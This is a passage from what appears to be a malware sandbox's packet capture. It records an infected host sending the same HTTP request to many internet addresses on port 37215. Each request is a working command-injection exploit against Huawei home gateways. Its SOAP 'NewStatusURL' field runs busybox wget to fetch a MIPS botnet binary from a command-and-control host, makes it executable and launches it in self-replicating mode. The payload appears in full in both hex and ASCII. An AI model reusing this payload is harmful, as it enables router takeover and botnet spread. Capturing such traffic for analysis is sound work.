/tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.14	54486	156.100.125.226	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:05.277373075 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.14	41216	41.173.33.37	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:05.279087067 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.14	53232	41.71.163.79	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:05.281424046 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.14	59522	197.200.15.170	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:05.283200979 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.14	35064	41.244.190.25	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:05.285037041 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.14	48106	41.33.156.0	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:05.286885977 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.14	44316	156.202.235.113	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:05.288532972 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.14	39406	41.168.203.29	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:05.290323019 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.14	35544	41.126.40.159	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:05.291856050 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.14	36684	197.146.192.174	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:05.293628931 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.14	35024	197.87.144.104	37215

Timestamp	Bytes transferred	Direction	Data
